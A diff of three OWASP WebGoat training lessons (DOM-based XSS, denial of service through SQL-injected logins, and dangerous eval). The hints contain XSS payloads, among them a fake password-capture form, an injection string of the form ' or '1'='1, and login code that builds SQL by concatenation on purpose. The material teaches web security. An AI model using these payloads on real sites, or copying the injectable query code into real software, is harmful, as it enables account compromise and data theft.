package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -6,7 +7,6 @@ import java.io.FileReader;
import java.io.IOException; import java.io.IOException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,31 +18,40 @@ import org.apache.ecs.html.Input;
import org.apache.ecs.html.Script; import org.apache.ecs.html.Script;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
public class DOMXSS extends SequentialLessonAdapter {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public class DOMXSS extends SequentialLessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String PERSON = "person"; private final static String PERSON = "person";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) { protected Element createContent(WebSession s)
{
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception { protected Element doStage1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) { if (attackString.toString().toLowerCase().indexOf("img") != -1
&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1)
{
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed. "); s.setMessage("Stage 1 completed. ");
} }
@ -50,14 +59,18 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec); return (ec);
} }
protected Element doStage2(WebSession s) throws Exception { protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1 && attackString.toString().toLowerCase().indexOf("onerror") != -1 && attackString.toString().toLowerCase().indexOf("alert") != -1) { if (attackString.toString().toLowerCase().indexOf("img") != -1
&& attackString.toString().toLowerCase().indexOf("onerror") != -1
&& attackString.toString().toLowerCase().indexOf("alert") != -1)
{
getLessonTracker(s).setStage(3); getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. "); s.setMessage("Stage 2 completed. ");
} }
@ -65,28 +78,34 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec); return (ec);
} }
protected Element doStage3(WebSession s) throws Exception { protected Element doStage3(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("iframe") != -1 && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) { if (attackString.toString().toLowerCase().indexOf("iframe") != -1
&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
{
getLessonTracker(s).setStage(4); getLessonTracker(s).setStage(4);
s.setMessage("Stage 3 completed."); s.setMessage("Stage 3 completed.");
} }
return (ec); return (ec);
} }
protected Element doStage4(WebSession s) throws Exception { protected Element doStage4(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) { if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1
&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
{
getLessonTracker(s).setStage(5); getLessonTracker(s).setStage(5);
s.setMessage("Stage 4 completed."); s.setMessage("Stage 4 completed.");
} }
@ -94,7 +113,8 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec); return (ec);
} }
protected Element doStage5(WebSession s) throws Exception { protected Element doStage5(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
@ -115,11 +135,13 @@ public class DOMXSS extends SequentialLessonAdapter {
return ec; return ec;
} }
protected ElementContainer mainContent(WebSession s) { protected ElementContainer mainContent(WebSession s)
{
StringBuffer attackString = null; StringBuffer attackString = null;
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(new Script().setSrc("javascript/DOMXSS.js")); ec.addElement(new Script().setSrc("javascript/DOMXSS.js"));
@ -139,7 +161,8 @@ public class DOMXSS extends SequentialLessonAdapter {
Element b = ECSFactory.makeButton("Submit Solution"); Element b = ECSFactory.makeButton("Submit Solution");
ec.addElement(b); ec.addElement(b);
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
@ -152,7 +175,8 @@ public class DOMXSS extends SequentialLessonAdapter {
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) { public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Try entering the following: " + "&lt;IMG SRC=\"images/logos/owasp.jpg\"/&gt;"); hints.add("Try entering the following: " + "&lt;IMG SRC=\"images/logos/owasp.jpg\"/&gt;");
@ -161,10 +185,10 @@ public class DOMXSS extends SequentialLessonAdapter {
hints.add("Try entering the following: " + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;"); hints.add("Try entering the following: " + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;");
hints.add("Try entering the following: " + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " + hints
"onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;"); .add("Try entering the following: "
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;");
// Attack Strings: // Attack Strings:
@ -174,8 +198,10 @@ public class DOMXSS extends SequentialLessonAdapter {
// <IFRAME SRC="javascript:alert('XSS');"></IFRAME> // <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
//Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR> // Please enter your password:<BR><input type = "password" name="pass"/><button
// onClick="javascript:alert('I
// have your password: ' +
// pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
return hints; return hints;
} }
@ -187,11 +213,13 @@ public class DOMXSS extends SequentialLessonAdapter {
*/ */
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() { protected Integer getDefaultRanking()
{
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() { protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
@ -200,23 +228,35 @@ public class DOMXSS extends SequentialLessonAdapter {
* *
* @return The title value * @return The title value
*/ */
public String getTitle() { public String getTitle()
{
return ("LAB: DOM-Based cross-site scripting"); return ("LAB: DOM-Based cross-site scripting");
} }
public String getInstructions(WebSession s) { public String getInstructions(WebSession s)
{
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) { if (getLessonTracker(s).getStage() == 1)
{
instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: <a href = '/WebGoat/images/logos/owasp.jpg'>OWASP IMAGE</a>"; instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: <a href = '/WebGoat/images/logos/owasp.jpg'>OWASP IMAGE</a>";
} else if (getLessonTracker(s).getStage() == 2) { }
else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag"; instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag";
} else if (getLessonTracker(s).getStage() == 3) { }
else if (getLessonTracker(s).getStage() == 3)
{
instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag."; instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag.";
} else if (getLessonTracker(s).getStage() == 4) { }
instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>" + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " + else if (getLessonTracker(s).getStage() == 4)
"onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;"; {
} else if(getLessonTracker(s).getStage() == 5) { instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>"
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;";
}
else if (getLessonTracker(s).getStage() == 5)
{
instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js."; instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js.";
} }
return (instructions); return (instructions);
@ -236,20 +276,17 @@ public class DOMXSS extends SequentialLessonAdapter {
{ {
sb.append(s); sb.append(s);
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
if (is != null) if (is != null)
{ {
try try
{ {
is.close(); is.close();
} } catch (IOException ioe)
catch (IOException ioe)
{ {
} }

88
main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -7,7 +8,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,38 +18,36 @@ import org.apache.ecs.html.P;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -72,7 +70,8 @@ public class DOS_Login extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -96,13 +95,14 @@ public class DOS_Login extends LessonAdapter
// Check if the login is valid // Check if the login is valid
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM user_system_data WHERE user_name = '" String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '"
+ username + "' and password = '" + password + "'"; + password + "'";
ec.addElement(new StringElement(query)); ec.addElement(new StringElement(query));
try try
{ {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
@ -117,11 +117,8 @@ public class DOS_Login extends LessonAdapter
// Make sure this isn't data from an sql injected query. // Make sure this isn't data from an sql injected query.
if (results.getString(2).equals(username) && results.getString(3).equals(password)) if (results.getString(2).equals(username) && results.getString(3).equals(password))
{ {
String insertData1 = "INSERT INTO user_login VALUES ( '" String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '"
+ username + s.getUserName() + "' )";
+ "', '"
+ s.getUserName()
+ "' )";
statement.executeUpdate(insertData1); statement.executeUpdate(insertData1);
} }
// check the total count of logins // check the total count of logins
@ -132,7 +129,8 @@ public class DOS_Login extends LessonAdapter
if (results.getRow() >= 3) if (results.getRow() >= 3)
{ {
makeSuccess(s); makeSuccess(s);
String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() + "'"; String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName()
+ "'";
statement.executeUpdate(deleteData1); statement.executeUpdate(deleteData1);
return (new H1("Congratulations! Lesson Completed")); return (new H1("Congratulations! Lesson Completed"));
} }
@ -144,31 +142,26 @@ public class DOS_Login extends LessonAdapter
{ {
ec.addElement(new H2("Login Failed")); ec.addElement(new H2("Login Failed"));
// check the total count of logins // check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '" query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
+ s.getUserName() + "'";
results = statement.executeQuery(query); results = statement.executeQuery(query);
results.last(); results.last();
ec.addElement(new H2("Successfull login count: " ec.addElement(new H2("Successfull login count: " + results.getRow()));
+ results.getRow()));
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
/** /**
* Catching this exception prevents the "Error generating org.owasp.webgoat.lesson.DOS_Login" * Catching this exception prevents the "Error generating
* message from being displayed on first load. Note that if we are missing a parameter in * org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note
* the request, we do not want to continue processing and we simply want to display the * that if we are missing a parameter in the request, we do not want to continue
* default login page. * processing and we simply want to display the default login page.
*/ */
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
@ -176,7 +169,6 @@ public class DOS_Login extends LessonAdapter
return (ec.addElement(makeLogin(s))); return (ec.addElement(makeLogin(s)));
} }
/** /**
* Gets the category attribute of the WeakAuthenticationCookie object * Gets the category attribute of the WeakAuthenticationCookie object
* *
@ -187,7 +179,6 @@ public class DOS_Login extends LessonAdapter
return Category.DOS; return Category.DOS;
} }
/** /**
* Gets the hints attribute of the CookieScreen object * Gets the hints attribute of the CookieScreen object
* *
@ -199,20 +190,17 @@ public class DOS_Login extends LessonAdapter
hints.add("Use a SQL Injection to obtain the user names. "); hints.add("Use a SQL Injection to obtain the user names. ");
hints hints
.add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'"); .add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'");
hints hints.add("Try &quot;dont_care' or '1' = '1&quot; in the password field");
.add("Try &quot;dont_care' or '1' = '1&quot; in the password field");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(90); private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CookieScreen object * Gets the title attribute of the CookieScreen object
* *
@ -223,11 +211,11 @@ public class DOS_Login extends LessonAdapter
return ("Denial of Service from Multiple Logins"); return ("Denial of Service from Multiple Logins");
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeLogin(WebSession s) protected Element makeLogin(WebSession s)

86
main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -20,32 +20,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -55,14 +54,18 @@ import org.owasp.webgoat.util.HtmlEncoder;
public class DangerousEval extends LessonAdapter public class DangerousEval extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
public final static String PASSED = "__DANGEROUS_EVAL_PASS"; public final static String PASSED = "__DANGEROUS_EVAL_PASS";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -77,7 +80,8 @@ public class DangerousEval extends LessonAdapter
checkSuccess(s); checkSuccess(s);
String param1 = s.getParser().getRawParameter("field1", "111"); String param1 = s.getParser().getRawParameter("field1", "111");
//String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999")); // String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214
// 0002 1999"));
float quantity = 1.0f; float quantity = 1.0f;
float total = 0.0f; float total = 0.0f;
float runningTotal = 0.0f; float runningTotal = 0.0f;
@ -103,7 +107,10 @@ public class DangerousEval extends LessonAdapter
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right")); tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right")); tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f); quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f; total = quantity * 69.99f;
runningTotal += total; runningTotal += total;
@ -112,7 +119,10 @@ public class DangerousEval extends LessonAdapter
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right")); tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right")); tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f); quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f; total = quantity * 27.99f;
runningTotal += total; runningTotal += total;
@ -121,7 +131,10 @@ public class DangerousEval extends LessonAdapter
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>")); tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>"));
tr.addElement(new TD().addElement("1599.99").setAlign("right")); tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right")); tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f); quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f; total = quantity * 1599.99f;
runningTotal += total; runningTotal += total;
@ -131,7 +144,10 @@ public class DangerousEval extends LessonAdapter
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right")); tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right")); tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f); quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f; total = quantity * 299.99f;
runningTotal += total; runningTotal += total;
@ -153,14 +169,11 @@ public class DangerousEval extends LessonAdapter
tr.addElement(new TD().addElement("The total charged to your credit card:")); tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal)); tr.addElement(new TD().addElement("$" + runningTotal));
Input b = new Input(); Input b = new Input();
b.setType(Input.BUTTON); b.setType(Input.BUTTON);
b.setValue("Update Cart"); b.setValue("Update Cart");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
tr.addElement(new TD().addElement(b)); tr.addElement(new TD().addElement(b));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -168,7 +181,8 @@ public class DangerousEval extends LessonAdapter
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:")); tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>")); tr.addElement(new TD()
.addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:")); tr.addElement(new TD().addElement("Enter your three digit access code:"));
@ -188,8 +202,7 @@ public class DangerousEval extends LessonAdapter
ec.addElement(t); ec.addElement(t);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -197,7 +210,6 @@ public class DangerousEval extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
@ -208,7 +220,6 @@ public class DangerousEval extends LessonAdapter
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
@ -220,14 +231,17 @@ public class DangerousEval extends LessonAdapter
hints.add("The lesson is similar to the standard reflected cross-site scripting lesson."); hints.add("The lesson is similar to the standard reflected cross-site scripting lesson.");
hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem."); hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem.");
